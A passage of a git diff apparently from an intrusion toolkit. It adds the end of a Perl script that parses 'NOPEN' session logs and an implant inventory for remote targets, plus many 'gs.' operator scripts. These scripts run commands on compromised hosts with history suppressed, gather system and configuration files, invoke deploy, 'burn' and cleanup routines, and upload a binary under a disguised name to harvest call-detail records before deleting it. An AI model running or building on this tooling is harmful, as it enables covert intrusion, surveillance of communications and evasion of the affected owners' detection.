$cpu = "#$gotcpu $cputype"; + } + # $cpu .= "#$1 " if ($line =~ /Status of.* processor (\S+)/) ; + $cpu .= "up since $1 " if ($line =~ /since (.*)\./) ; + $cpu .= "$1 " if ($line =~ /(sparc\S*) processor/i) ; + $cpu .= "$1 " if ($line =~ / (i.86) processor/i) ; + $cpu .= "$1 " if ($line =~ /operates at (\d+\s*(\S*Hz))/i) ; + $cpu .= "with $1 " if ($line =~ /and has an{0,1} (.* floating point processor)/i) ; + } + push(@cpu,$cpu) if $cpu; + if (my $num = @cpu) { + $found++ ; + print "Number of Processors: $num\n" if (@cpu); + foreach (@cpu) { +# dbg("Looking for vars in: ==$_=="); + ($c) = + /^\#(\d+\S*)/; + ($vendorid,$speed) = + /(\S+)\s+([\.\d]+\s+\S*Hz)/ ; + ($fpproc) = + /with\s+(.*\S+)\s*/ ; + print "Processor: $cpu\n"; +# dbg(" + +#got: (\$c,\$vendorid,\$speed,\$fpproc) = +# ($c,$vendorid,$speed,$fpproc) = $cpu =~ +#"); + print "CPU $c Speed: $speed\n" if (length($speed)) ; + print "CPU $c VendorIdentifier: $vendorid\n" if (length($vendorid)) ; + print "CPU $c FP processor: $fpproc\n" if (length($fpproc)) ; + } + } + next OUTSIDE ; + } + if ( ?^dmesg? ) { + my $panic = "" ; + my $totalmem = 0 ; + my $availmem = 0 ; + (my $t1,my $t2,my $t3,my $t4) = () ; + chomp(my $file = `ls -rt $optargetcommands/*dmesg* | grep "${nopen_rhostname}" | tail -1`); + if (open(IN2,"< $file")) { + $found++; + while (chomp($line2 = )) { +#dbg("gethostinfo.pl in dmesg:$line2"); + $line2 =~ s/\r//g ; # Get rid of ^M's + $panic .= "$line2\n" if ($line2 =~ /panic/) ; + # ($t1,$t2,$t3,$t4) = () ; + ($t1,$t2,$t3) = $line2 =~ /(avail.*){0,1}mem\s*[=]\s*(\d+)(K{0,1})/i ; + if (scalar $t2 > 0) { +#dbg("Found($t1,$t2,$t3) = $line2 =~ /(avail.*){0,1}mem\s*[=]\s*(\d+)(K{0,1})/i ;"); + ($avail,$mem,$k) = ($t1,$t2,$t3) ; + $mem = $mem / 1024 unless ($k) ; # now in K + $mem = int(0.50 + 10 * $mem / 1024)/10 ; # now in M to one decimal +#dbg("0 mem=$mem avail=$avail availmem=$availmem totalmem=$totalmem"); + $avail ? $availmem = $mem : $totalmem = $mem ; +#dbg("1 mem=$mem avail=$avail availmem=$availmem totalmem=$totalmem"); + } + ($t1,$t2,$t3,$t4) = $line2 =~ /memory..(\d+)(k{0,1})\/(\d+)(k{0,1})/i ; + if (scalar $t1 > 0) { + $availmem = $t1 ; $k = $t2 ; + $availmem = $availmem / 1024 unless ($k) ; # now in K + $availmem = int(0.50 + 10 * $availmem / 1024)/10 ; # now in M to one decimal + } + if (scalar $t3 > 0) { + $totalmem = $t3 ; $k2 = $t4 ; + $totalmem = $totalmem / 1024 unless ($k2) ; # now in K + $totalmem = int(0.50 + 10 * $totalmem / 1024)/10 ; # now in M to one decimal + } + } + close(IN2) ; + if ($availmem or $totalmem) { + if ($totalmem) { + $found++ ; # if we did find what we wanted + $memprintlater.="RAM: $totalmem MB\n"; + if ($availmem) { + my $availpct = int(0.50 + 100 * 10 * ($availmem/$totalmem)) / 10 ; + my $usedpct = int(0.50 + 10*(100 - $availpct))/10 ; + $memprintlater.="RAM available: $availmem of $totalmem MB ($usedpct% used)"; + } + $memprintlater.="\n" ; + } else { # must be only $availmem + $memprintlater="RAM available: $availmem of ??? MB\n" ; + } + } + if ($panic) { + mymywarn("PANICS IN dmesg OUTPUT!!") ; + sleep 1; + mymywarn("PANICS IN dmesg OUTPUT!!") ; + sleep 1; + mymywarn ("$panic") if $saveoutputto; + print ("${COLOR_FAILURE}\n${panic}${COLOR_NORMAL}\n"); + sleep 1; + } + } else { + mymywarn("Unable to open $file", + $COLOR_WARNING) ; + } + next OUTSIDE ; + } + if (/-(cksum|sha1sum)/) { + $found++ ; # do not flag if no output + # Look for hacked boxes in usual places + my $hackdirregexp = "(libX\.a|share\/.aPa)" ; + my $pscheckargs = ""; + while (getline(undef,"FROMcksum/sha1sum first")) { + my ($hackedfile) = $line =~ /[\+-].* \d{4} (\/.*$hackdirregexp.*)/ ; + my ($sign,$file) = $line =~ /([\+-]).* \d{4} (\/.*)/ ; + $hackedfile =~ s/\s*$// ; + $file =~ s/\s*$// ; + if ($sign and $hackedfile) { + my $str="DEFINITELY A HACKED BOX!! "; + my $lines=""; + my $therest = " Checksum for$COLOR_NOTE $file$COLOR_FAILURE matches:\n"; + if ($sign eq "+") { + getline(undef,"FROMcksum/sha1sum") ; + $lines .= "$line\n" ; + } else { + $lines .= "$line\n" ; + $therest = "${COLOR_WARNING} But no match for checksum:$COLOR_FAILURE\n"; + } + $str.="$therest$lines" ; + mymywarn($str); + $latewarnings .= "\n$str"; + unless ($runalready{$hackedfile}++) { + $pscheckargs .= ",$hackedfile"; +# $nopenafter .= "-lsh echo $hackedfile > $optmp/hacked.ps.$nopen_rhostname\n"; +# $nopenafter .= "$hackedfile -h 2>&1 | grep \"ps \" >> L:$optmp/hacked.ps.$nopen_rhostname\n"; # is it ps? +# $nopenafter .= "$hackedfile -h 2>&1 | grep \"netstat \" >> L:$optmp/hacked.use.netstatcommand.$nopen_rhostname\n"; # is it netstat? +# $nopenafter .= "$hackedfile -h 2>&1 | grep \"netstat \" && $hackedfile -an >> L:$optmp/hacked.use.netstatcommand.$nopen_rhostname\n"; # is it netstat? +# $nopenafter .= "=pscheck"; + } + } elsif ($sign eq "-" and $file) { + my $file = $1 ; + $file =~ s/(\S*)\s*/$1/ ; + my $str="POSSIBLY Hacked? No matching checksum for $file\n"; + $str .= "$line\n"; + mymywarn($str); + $latewarnings .= "\n$str"; + } + last if $gotone ; + } + if ($pscheckargs) { + $pscheckargs =~ s/ /\\ /g; + $pscheckargs =~ s/^,+//; + $nopenafter .= "-gs pscheck -H$pscheckargs\n"; + } + next OUTSIDE ; + } + if (/autodfcheck/) { + $found++ ; # do not flag if no output + # autodfcheck's output is not here--it is in $opdir/latewarnings if it has anything to say + while (getline(undef,"FROMdfcheck")) { + last if $gotone ; + } + next OUTSIDE ; + } + if (/^[-=]{0,1}df/) { + my @disk = () ; + my @tmp = () ; + my $shortline = "" ; + while (getline(undef,"FROMdf")) { + if ($shortline) { + $line = "$shortline $line" ; + $shortline = "" ; + } + if ( $gotone = $line =~ /^\[(.*)\]$/ ) { + if (my $num = @disk) { + $found++ ; + # This will get the most recent =df output only + $dfprint = "Number of Hard Drives: $num\n" if (@disk); + foreach $disk (@disk) { + $dfprint .= "Hard Drive: $disk\n"; + } + } + next OUTSIDE ; + } + @tmp = split (/\s+/,$line) ; + if (@tmp == 1) { + $shortline = $line ; + next ; + } + ($drv,$k,$u,$a,$c,$m) = @tmp; + next unless ($drv =~ /^\//) ; + # push(@disk,"$drv on / $u/$k ($c)") ; + push(@disk,$line); + } + } + if (/-template/) { + while (getline(undef,"FROMtemplate")) { + next OUTSIDE if $gotone ; + $found++ ; # if we did find what we wanted + } + # if no while loop here (one liners) make sure to do next OUTSIDE + } + # the lines with no if case above we don't care about + $found++ ; + } # end OUTSIDE: while (! eof IN) + close(IN); + print $hwarch if $hwarch; + $loadprint =~ s/load average:\s*//i; + print "Load Average: $loadprint\n" if $loadprint; + if ($uptimeprint) { + print "Uptime string: $uptimeprint\n"; + my ($d) = $uptimeprint =~ /(\d+)\s+day/; + my ($h,$m,$s) = $uptimeprint =~ /\s+(\d+):(\d+):(\d+)/; + ($h,$m) = $uptimeprint =~ /\s+(\d+):(\d+)/ unless $s; + if (length $h or length $m) { + my $utmin = $d*24*60 + $h*60 + $m ; + my $utsecs = $utmin*60 + $s; + print "Uptime: $utmin\n"; + print "Uptime minutes: $utmin\n"; + print "Uptime seconds: $utsecs\n"; + } + } + print "Hostname: $hostnamesave\n" if $hostnamesave; + if (!$domainnamesave) { + ($domainnamesave) = $hostnamesave =~ /^[^\.]+\.(.+)/; + } + print "Domain: $domainnamesave\n" if $domainnamesave; + print $dfprint; + print $memprintlater if ($memprintlater and !$procmeminfo); + print $globaltools if ($globaltools) ; + close(OUT); + select STDOUT ; + if (@targets) { + print "\n\n${COLOR_SUCCESS}Now looking for $targets[0]\n$COLOR_NORMAL\n"; + } + my $output = ""; + foreach $targetwarningfile ( + "$opdown/ethcheckout.txt.VMW*.$nopen_rhostname", + "$opdown/ethcheckout.txt.vmw*.$nopen_rhostname", + "$opdown/ethcheckout.txt.XEN*.$nopen_rhostname", + "$opdown/ethcheckout.txt.xen*.$nopen_rhostname", + "$opdir/latewarnings.$nopen_rhostname", + ) { + next unless -s $targetwarningfile; + chomp($output = `cat $targetwarningfile 2>/dev/null`) ; + next unless $output; + + $output .= "\n\nThere were$COLOR_FAILURE ALERTS$COLOR_NORMAL: You must examine output above before you continue.\n\n"; + mypause("$beep\n${COLOR_FAILURE}$output"); + } + unlink("$opdir/latewarnings.$nopen_rhostname") ; +} # end foreach $target (@targets) +if ($latewarnings) { + print("$beep\n${COLOR_FAILURE}$latewarnings"); + sleep 1; + print ("$beep$COLOR_NORMAL\n") ; +} + +my $ext=$$; +if ($nopenafter) { + foreach ("ps","netstat") { + chomp(my $file = `ls -rt $optargetcommands/*${_}* | grep "${nopen_rhostname}" | tail -1`); + if (-e $file) { + my $new = $file; + $new =~ s,_$_,_$_.hackedmaybe,g; + preservefile($new); + rename($file,$new); + # USED TO BE: "$opdown/$_.$nopen_rhostname.hackedmaybe.$ext"); + } + } + if (open(OUT,"> $opetc/nopen_auto.$nopen_mypid.$ext")) { + print OUT "#NOGS\n$nopenafter"; + } + close(OUT); + rename("$opetc/nopen_auto.$nopen_mypid.$ext","$opetc/nopen_auto.$nopen_mypid"); +} + + +sub findit { + # Finds and returns file in $path containing autodone output + # Dies if single such file not found. + mymydie("No NOPEN_RHOSTNAME environment var") unless $nopen_rhostname ; + @logs = split (/\n/, + `grep -l "BEGIN running .*auto.* on $nopen_rhostname" $path/"$nopen_rhostname_orig"*:??`) ; +dbg("In findit(@_) got logs=(@logs)"); + if (@logs > 1) { + die "$COLOR_FAILURE +More than one log for $target has \"running $opetc/auto.*done.* on $nopen_rhostname\"--how can that be? +@logs$COLOR_NORMAL\n" ; + } + chomp($autodoneruns = `grep -c "BEGIN running .*auto.* on $nopen_rhostname" "$logs[0]"`); +dbg("Got autodoneruns=$autodoneruns returning $logs[0]"); + return $logs[0] ; +} # end sub findit + +sub mymydie { + die "\n${COLOR_FAILURE}$beep@_$COLOR_NORMAL\n" ; +}#mymydie + +sub mymywarn { + ($str,$color) = (@_) ; + unless ($color) { + $color = $COLOR_FAILURE ; + } + warn "${color}${beep}$str$COLOR_NORMAL\n" ; +}#mymywarn + +sub logerror { + (my $err) = @_ ; + mymywarn("NO OUTPUT TO PARSE: $err",$COLOR_WARNING,1) ; + print ERROUT "$err\n" + if open(ERROUT,">> $opdown/gethostinfo.err.$nopen_rhostname") ; +# `echo "$err" >> $opdown/gethostinfo.err.$nopen_rhostname` +# if (-w "$opdown/gethostinfo.err.$nopen_rhostname"); + close(ERROUT); +}#logerror + +sub getline { + # globals changed: $line and $gotone + # Sets $gotone true if we've hit the end of this command and + # the beginning of the next. + local ($where,$from) = (@_); + $where = "IN" unless $where; + chomp($line = <$where>) ; + $linecount++; +# dbg("in Getline From $from In getline line=$linecount, from where=$where= got line=$line Got eof $where==".scalar eof $where); + $line =~ s/\r//g ; # Get rid of ^M's + $gotone = $line =~ /^\[(.*)\]$/ ; + return ! (eof $where); +}#getline + +sub freespace { + local ($avail,$total) = (@_); + ($avail) = $avail =~ /(\d+)/; + ($total) = $total =~ /(\d+)/; + if ($total and $avail and $total > 0) { + my $availpct = int(0.50 + 100 * 10 * ($avail/$total)) / 10 ; + my $usedpct = int(0.50 + 10*(100 - $availpct))/10 ; + my $usedstr = " ($usedpct% used)"; + return ($usedpct,$usedstr); + } else { + return (); + } +}#freespace + +sub setusagetext { + return " +Usage: $prog [-h] (prints this usage statement) + $prog [options] [ unique-IP-or-host1 unique-IP-or-host2 ... ] + +$prog parses NOPEN's logs looking for the initial output from +\"autodone\", which is done exactly once per target (not once per NOPEN +session on that target). Then a summary of that information is put to +STDOUT in \"name: val\" format. + +With no arguments, $prog processes the data according to the +environment variables NOPEN_MYLOG and NOPEN_RHOSTNAME. + +With one or more arguments (after any options), $prog attempts +to find NOPEN logs files for a host that uniquely matches each argument +(partial match OK, so just the IP or even hostname might be sufficient), +then finds the one for that unique match that has autodone data and +processes it. + +options: + +-C Disable color output. + +-B Disable beeps in output + +-a Show hostinfo output for EVERY host found to have autodone + output in one of the files in $opdown/cmdout (or in the + -p path). + +-s Find the right log file based on the environment variable + \$nopen_rhostname. Usually run as \"-lsh gethostinfo.pl -s\" + from a noclient session to your target from a window that did + not run autodone (i.e., was not first noclient to target). + +-l log Uses the NOPEN logfile \"log\" (has to have autodone output). + +-p path Look for log files in \"path\" instead of $opdown/cmdout + +-f file Save output for each target for which autodone data is found + to \"file.hostname.IPADDRESS\" (in your current directory). + +" +} + +## GRRR....here down should come from autoutils? +__END__ + +sub fffffffdbg { + my $sleep = 0; + if ($_[$#_] =~ /^\d+$/) { + $sleep = pop(@_); + } + dammit("$t ${prog}[$$]: ${COLOR_FAILURE}DBGwarn$beep: @_$COLOR_NORMAL") ; + sleep $sleep if $sleep; +# if ("@_" =~ /dammit/); #dbg +# mywarn("${COLOR_FAILURE}DBGmywarn$beep: @_$COLOR_NORMAL") ; #dbg +}#dbg +sub dammit { + my $duh = "@_"; + if (open(TMPOUT,">> $optmp/dammit")) { + print TMPOUT "@_\n"; + close(TMPOUT); + } else { + `echo -e "$duh" >> $optmp/dammit`; + } +} +sub findinvarkeys { + local($target, # Target we desire (IP/hostname) + # Uppercase below are all references, @$IP is an array of IPs, + # the rest are hashed arrays with those IPs as the keys. + $IP, # IPs that match + $FQDN, # FQDNs of each match + $KEYSTR, # KEYSTRs of each match + $OS, # OSs of each match + # (I.e. PROJECT___hostname.domainname___IP___YYYYMMDD--HHMMSS) + $IMPLANTS, # IMPLANTs of each match, a space delimited string + $exactonly,# If set, must match $target exactly. + ) = (@_); + my $match = 0 ; # Set to # of matches found + my $wantip = $target =~ /^\d+\.\d+\.\d+\.\d+$/; + my $wantname = !$wantip; + # Looking in $opbin/varkeys/* + # Given (maybe partial) hostname, return (list of) IP(s) that match + # Given (maybe partial) IP, return (list of) FQDN(s) that match + return 0 unless ($target and opendir(VARDIR,"$opbin/varkeys")); + foreach $vardir (grep { ! /^\./ } sort readdir VARDIR) { + next unless -d "$opbin/varkeys/$vardir" ; + unless (opendir(PROJECTDIR,"$opbin/varkeys/$vardir")) { + mywarn("autoutils::findinvarkeys: Cannot open $opbin/varkeys/$vardir"); + next; + } + foreach $t (grep { ! /^\./ } sort readdir PROJECTDIR) { + next unless -d "$opbin/varkeys/$vardir/$t" ; + next unless $t =~ /$target/; + my ($fqdn,$ip) = $t =~ /^([^_]*)___([\d\.]+)/; + if ($wantip) { + next unless (!$exactonly or $ip eq $target); + } else { + next unless (!$exactonly or $fqdn eq $target); + } + push (@$IP,$ip); + $$FQDN{$ip} = $fqdn; + unless (opendir(TDIR,"$opbin/varkeys/$vardir/$t")) { + mywarn("autoutils::findinvarkeys: Cannot open $opbin/varkeys/$vardir/$t"); + next; + } + $match++; + foreach $implant (grep { ! /^\./ } sort readdir TDIR) { + next unless -f "$opbin/varkeys/$vardir/$t/$implant" + and -r _ and -s _; + next unless + open(VARIN,"$opbin/varkeys/$vardir/$t/$implant"); + $$IMPLANTS{$ip} .= " $opbin/varkeys/$vardir/$t/$implant"; + while () { + if (my ($os) = /OS:\s*(\S+)/) { + $$OS{$ip} = $os unless $$OS{$ip}; + if ($os ne $$OS{$ip}) { + mywarn("autoutils::findinvarkeys: Multiple different OS's for $ip in varkeys/"); + $$OS{$ip} .= " $os" unless + $$OS{$ip} =~ / $os/; + } + } + } + } + $$IMPLANTS{$ip} =~ s/^ //; + close(VARIN); + } + } + closedir(DIR); + return $match; +}#findinvarkeys +sub ipcheck { + # returns 1 iff $ipstr is in dotted decimal notation with each + # octet between 0 and 255 inclusive (i.e. 0.0.0.0 and 255.255.255.255 are valid) + my $maxval=255; + my $minval=0; + while ($_[$#_] =~ /no/) { + if ($_[$#_] =~ /no255/) { + pop(@_); + $maxval=254; + } + if ($_[$#_] =~ /no0/) { + pop(@_); + $minval=1; + } + } + local($ipstr,$minoctets,$maxoctets) = @_; + $minoctets=abs(int($minoctets)) if defined $minoctets; + $maxoctets=abs(int($maxoctets)) if defined $maxoctets; + unless($minoctets) { + $minoctets=4 ; + } + unless (defined $maxoctets and $maxoctets <= 4 and $maxoctets > 0) { + $maxoctets=4; + } + # strip trailing "." if partial IPs allowed + $ipstr =~ s/\.$// if ($maxoctets < 4) ; + # need -1 in following split to keep null trailing fields (to reject "1.2.3.4.") + my @octets=split(/\./,$ipstr,-1); + return 0 if (@octets < $minoctets or @octets > $maxoctets); + foreach (@octets) { + # return 0 if (empty or nondigits or <0 or >$maxval) + return 0 if (( /\D/ ) || $_ < $minval || $_ > $maxval); + # next line allows partial IPs ending in ".", ignore last + return 0 if ($minoctets == 4 and $_ eq ""); + } + return 1; +} #ipcheck +sub by_num { + return ($a <=> $b); +}#by_num diff --git a/Linux/etc/gs.access b/Linux/etc/gs.access new file mode 100644 index 0000000..2a76841 --- /dev/null +++ b/Linux/etc/gs.access @@ -0,0 +1,3 @@ +#NOGS +-lsh /current/etc/autoaccess $GSOPTIONS -nohist +-gs /port -nohist diff --git a/Linux/etc/gs.addalias b/Linux/etc/gs.addalias new file mode 100644 index 0000000..198e07a --- /dev/null +++ b/Linux/etc/gs.addalias @@ -0,0 +1,5 @@ +#NOGS +-lsh /current/etc/autoaddalias $GSOPTIONS -nohist +-gs /port -nohist +-gs auto -nohist + diff --git a/Linux/etc/gs.addpath b/Linux/etc/gs.addpath new file mode 100644 index 0000000..dad0890 --- /dev/null +++ b/Linux/etc/gs.addpath @@ -0,0 +1,3 @@ +#NOGS +-lsh /current/etc/autoaddpath $GSOPTIONS -nohist +-gs /port -nohist diff --git a/Linux/etc/gs.altcall b/Linux/etc/gs.altcall new file mode 100644 index 0000000..50386f3 --- /dev/null +++ b/Linux/etc/gs.altcall @@ -0,0 +1,3 @@ +#NOGS +-lsh /current/etc/autoaltcall $GSOPTIONS -nohist +-gs /port -nohist diff --git a/Linux/etc/gs.arp b/Linux/etc/gs.arp new file mode 100644 index 0000000..2e01738 --- /dev/null +++ b/Linux/etc/gs.arp @@ -0,0 +1,3 @@ +#NOGS +-lsh /current/etc/autoarp $GSOPTIONS -nohist +-gs /port -nohist diff --git a/Linux/etc/gs.arpscan b/Linux/etc/gs.arpscan new file mode 100644 index 0000000..ea9219a --- /dev/null +++ b/Linux/etc/gs.arpscan @@ -0,0 +1,3 @@ +#NOGS +-lsh /current/etc/autoarpscan $GSOPTIONS -nohist +-gs /port -nohist diff --git a/Linux/etc/gs.asciitouch b/Linux/etc/gs.asciitouch new file mode 100644 index 0000000..9f5ce13 --- /dev/null +++ b/Linux/etc/gs.asciitouch @@ -0,0 +1,3 @@ +#NOGS +-lsh /current/etc/autoasciitouch $GSOPTIONS -nohist +-gs /port -nohist diff --git a/Linux/etc/gs.auto b/Linux/etc/gs.auto new file mode 100644 index 0000000..b887235 --- /dev/null +++ b/Linux/etc/gs.auto @@ -0,0 +1,11 @@ +#NOGS +-lcd /current/down -nohist +-lsh -nohist env | grep NOPEN ; echo;set | grep NOPEN +-lsh -nohist [ "$GSOPTIONS" = "new" -o "$GSOPTIONS" = "AGAIN" ] && rm -f "/current/tmp/autonewdone.$NOPEN_RHOSTNAME" && touch "/current/tmp/autonewdone.$NOPEN_RHOSTNAME.new" ; for W in FORCE -f -F ; do echo "$GSOPTIONS" | grep -q -- $W && touch "/current/tmp/autonewdone.$NOPEN_RHOSTNAME.FORCE" ; done ; for W in YES REGET SHORT AGAIN ; do echo "$GSOPTIONS" | grep -q -- $W && touch "/current/tmp/autonewdone.$NOPEN_RHOSTNAME.$W" ; done ; /current/etc/autocheck && /current/etc/autorunonce $GSOPTIONS +-gs /port -nohist +# Redo-ing -mynorc and -mypath in case newdone changed our path or aliases -nohist :: gs.auto v. # Thu Dec 9 15:21:52 EST 2010 +-mynorc -nohist +-mypath -nohist +-myname2 -nohist +-myname -nohist + diff --git a/Linux/etc/gs.auto.olddone b/Linux/etc/gs.auto.olddone new file mode 100644 index 0000000..326e7e2 --- /dev/null +++ b/Linux/etc/gs.auto.olddone @@ -0,0 +1,12 @@ +#NOGS +-lcd /current/down -nohist +-lsh env | grep NOPEN ; echo set:;set | grep NOPEN +-lsh -nohist echo $NOPEN_RHOSTNAME | grep / +-lsh -nohist cat /dev/null > /current/tmp/norc.newauto ; echo $NOPEN_RHOSTNAME | grep -q / && NEWNAME=`echo $NOPEN_RHOSTNAME | sed "s,/,__,g"` && touch /current/etc/norc.$NEWNAME && ( grep -v myname /current/etc/norc.$NEWNAME > /current/etc/norc.newauto 2>/dev/null ; echo -n "\# Set our -myname aliases to:" ; echo -e "alias -myname2=-lsetenv NOPEN_RHOSTNAME_WITH_SLASHES=${NOPEN_RHOSTNAME}\\nalias -myname=-lsetenv NOPEN_RHOSTNAME=$NEWNAME" | tee /current/etc/norc.$NEWNAME ; cat /current/tmp/norc.newauto >> /current/etc/norc.$NEWNAME ) ; rm /current/tmp/norc.newauto +-lsh -nohist mkdir -p /current/tmp/autodone.$NOPEN_RHOSTNAME /current/tmp/autodone.$NOPEN_RHOSTNAME /current/tmp/$NOPEN_RHOSTNAME 2>/dev/null ; rmdir /current/tmp/autodone.$NOPEN_RHOSTNAME /current/tmp/autodone.$NOPEN_RHOSTNAME /current/tmp/$NOPEN_RHOSTNAME 2>/dev/null +-lsh -nohist [ "$GSOPTIONS" = "new" ] && rm -f /current/tmp/autodone.$NOPEN_RHOSTNAME ; touch /current/tmp/autodone.$NOPEN_RHOSTNAME.new ; cd /current/etc ; chmod +x gethostinfo.pl auto* ; ./autocheck && ./autodone +-gs -nohist /current/etc/autonext +-mynorc -nohist +-mypath -nohist +-myname2 -nohist +-myname -nohist diff --git a/Linux/etc/gs.autodothis.linux b/Linux/etc/gs.autodothis.linux new file mode 100644 index 0000000..2cec200 --- /dev/null +++ b/Linux/etc/gs.autodothis.linux @@ -0,0 +1,22 @@ +#NOGS +# -nohist NOTE: This script calls gs.autodothis.linux.2.blah which is created as a result of =dfcheck above +-nohist -lsh rm -f /current/down/linuxstats.cmdout +-nohist -cmdout /current/down/linuxstats.cmdout +-nohist mount +-nohist lspci -vvvv +-nohist lsusb +-nohist lsmod +-nohist -get /etc/selinux/config +#-nohist more /proc/iomem /proc/pci /proc/ioports /proc/bus/usb/devices /proc/scsi/scsi /proc/meminfo /proc/cpuinfo /proc/version /etc/selinux/config +-nohist more /proc/iomem /proc/pci /proc/ioports /proc/scsi/scsi /proc/meminfo /proc/cpuinfo /proc/version /etc/selinux/config +-nohist ksyms -a +-nohist # We mkdir -p then remove the dir. If NOPEN_RHOSTNAME has any / chars this helps that. +-nohist -lsh mkdir -p /current/down/date-rfc2822.$NOPEN_RHOSTNAME /current/etc/gs.autodothis.linux.2.$NOPEN_RHOSTNAME 2>/dev/null && rmdir /current/etc/gs.autodothis.linux.2.$NOPEN_RHOSTNAME /current/down/date-rfc2822.$NOPEN_RHOSTNAME +-nohist -lsh mv /current/etc/gs.autodothis.linux.2.$NOPEN_RHOSTNAME /current/etc/gs.autodothis.linux.2 2>/dev/null +-nohist -gs autodothis.linux.2 +-nohist -cmdout +-nohist -gs replay -Hf /current/down/linuxstats.cmdout hdparm +-nohist -gs replay -Hf /current/down/linuxstats.cmdout df -k +-nohist date -R > T:/current/down/.2822date +-nohist -lsh mkdir -p /current/down/linuxstats.cmdout.$NOPEN_RHOSTNAME 2>/dev/null /current/down/date-rfc2822.$NOPEN_RHOSTNAME 2>/dev/null ;rmdir /current/down/linuxstats.cmdout.$NOPEN_RHOSTNAME /current/down/date-rfc2822.$NOPEN_RHOSTNAME 2>/dev/null +-nohist -lsh cat /current/down/linuxstats.cmdout | tee /current/down/linuxstats.cmdout.$NOPEN_RHOSTNAME ; mv /current/down/.2822date /current/down/date-rfc2822.$NOPEN_RHOSTNAME diff --git a/Linux/etc/gs.autodothis.solaris b/Linux/etc/gs.autodothis.solaris new file mode 100644 index 0000000..639c502 --- /dev/null +++ b/Linux/etc/gs.autodothis.solaris @@ -0,0 +1,16 @@ +#NOGS +# 2009-03-05 12:49:00 EST +-nohist -lsh rm -f /current/down/solarisstats.cmdout +-nohist -cmdout /current/down/solarisstats.cmdout +#-nohist prtconf -v -p +-nohist -cmdout +#-nohist prtvtoc `df -lk /|tail -1|awk '{print \$1}'` +-nohist -ls -R /var/crash/ +#-nohist -gs replay -Hf /current/down/solarisstats.cmdout prtvtoc +-nohist -gs replay -Hf /current/down/solarisstats.cmdout df -k +-nohist # We mkdir -p then remove the dir. If NOPEN_RHOSTNAME has any / chars this helps that. +-nohist -lsh mkdir -p /current/down/solarisstats.cmdout.$NOPEN_RHOSTNAME 2>/dev/null && rmdir /current/down/solarisstats.cmdout.$NOPEN_RHOSTNAME +-nohist -lsh mv /current/down/solarisstats.cmdout /current/down/solarisstats.cmdout.$NOPEN_RHOSTNAME +-nohist -gs orcheck -i +-nohist isainfo -bv ; isainfo -kv ; isainfo -nv ; isalist +-nohist -gs lss -QRFYGM10000 /etc/ipf /etc/zones diff --git a/Linux/etc/gs.autoget b/Linux/etc/gs.autoget new file mode 100644 index 0000000..82f7be9 --- /dev/null +++ b/Linux/etc/gs.autoget @@ -0,0 +1,2 @@ +#NOGS +-lsh /current/etc/autoautoget $GSOPTIONS -nohist diff --git a/Linux/etc/gs.builtinpsgrep b/Linux/etc/gs.builtinpsgrep new file mode 100644 index 0000000..1ddeba6 --- /dev/null +++ b/Linux/etc/gs.builtinpsgrep @@ -0,0 +1,3 @@ +#NOGS +-nohist \-ps > T:/current/tmp/.bips +-nohist -lsh [ "$GSOPTIONS" ] && egrep "$GSOPTIONS" /current/tmp/.bips | tee /current/tmp/.bips.r ; [ -s /current/tmp/.bips.r ] && echo -en "Matches:\t" && cat /current/tmp/.bips.r | wc -l ; rm /current/tmp/.bips* diff --git a/Linux/etc/gs.burnBURN b/Linux/etc/gs.burnBURN new file mode 100644 index 0000000..3ee9089 --- /dev/null +++ b/Linux/etc/gs.burnBURN @@ -0,0 +1,3 @@ +#NOGS +-lsh /current/etc/autoburnBURN $GSOPTIONS -nohist +-gs /port -nohist diff --git a/Linux/etc/gs.bwsofar b/Linux/etc/gs.bwsofar new file mode 100644 index 0000000..1b696b0 --- /dev/null +++ b/Linux/etc/gs.bwsofar @@ -0,0 +1,3 @@ +#NOGS +-lsh /current/etc/autobwsofar $GSOPTIONS -nohist +-gs /port -nohist diff --git a/Linux/etc/gs.cdrloop b/Linux/etc/gs.cdrloop new file mode 100644 index 0000000..c5a23cc --- /dev/null +++ b/Linux/etc/gs.cdrloop @@ -0,0 +1,13 @@ +#NOGS +-nohist -lsh rm -f /current/.lscdr /current/etc/gs.autocdrloopnext +-nohist -lsh mv -f /current/down/cdrtail /current/down/cdrtail.`date -d\"5 mins ago\" +%Y%m%d-%H%M%S` +-nohist -lsh mv -f /current/down/cdroutput /current/down/cdroutput.`date -d\"5 mins ago\" +%Y%m%d-%H%M%S` +-nohist -lsh mv -f /current/down/cdrpretty /current/down/cdrpretty.`date -d\"5 mins ago\" +%Y%m%d-%H%M%S` +-lt /share/a1338/ne_q3ic/nb/convert/output > L:/current/.lscdr -nohist +-nohist -lsh tail -20 /current/.lscdr | grep _dF > L:/current/down/cdrtail +-nohist -lsh echo $GSOPTIONS > /current/.cdrargs +-nohist -put /current/up/cdrparse_11.00 lvmkd +-nohist -lsh /current/etc/autocdrloop $GSOPTIONS +-nohist -gs autocdrloopnext +-nohist -rm lvmkd + diff --git a/Linux/etc/gs.checklast b/Linux/etc/gs.checklast new file mode 100644 index 0000000..a1313fc --- /dev/null +++ b/Linux/etc/gs.checklast @@ -0,0 +1,4 @@ +#NOGS +-lsh /current/etc/autochecklast $GSOPTIONS -nohist +-gs /port -nohist + diff --git a/Linux/etc/gs.crashdump b/Linux/etc/gs.crashdump new file mode 100644 index 0000000..aea9deb --- /dev/null +++ b/Linux/etc/gs.crashdump @@ -0,0 +1,3 @@ +#NOGS +-lsh -nohist /current/etc/autocrashdump $GSOPTIONS +-gs /port -nohist diff --git a/Linux/etc/gs.croncheck b/Linux/etc/gs.croncheck new file mode 100644 index 0000000..1f66c47 --- /dev/null +++ b/Linux/etc/gs.croncheck @@ -0,0 +1,3 @@ +#NOGS +-lsh /current/etc/autocroncheck $GSOPTIONS -nohist +-gs /port -nohist diff --git a/Linux/etc/gs.dclean b/Linux/etc/gs.dclean new file mode 100644 index 0000000..f187de1 --- /dev/null +++ b/Linux/etc/gs.dclean @@ -0,0 +1,3 @@ +#NOGS +-lsh /current/etc/autodclean $GSOPTIONS -nohist +-gs /port -nohist diff --git a/Linux/etc/gs.deploy b/Linux/etc/gs.deploy new file mode 100644 index 0000000..e25ec54 --- /dev/null +++ b/Linux/etc/gs.deploy @@ -0,0 +1,3 @@ +#NOGS +-lsh -nohist /current/etc/autodeploy $GSOPTIONS +-gs /port -nohist diff --git a/Linux/etc/gs.dfcheck b/Linux/etc/gs.dfcheck new file mode 100644 index 0000000..8a79b96 --- /dev/null +++ b/Linux/etc/gs.dfcheck @@ -0,0 +1,3 @@ +#NOGS +-lsh /current/etc/autodfcheck $GSOPTIONS -nohist +-gs /port -nohist diff --git a/Linux/etc/gs.doNOTburn b/Linux/etc/gs.doNOTburn new file 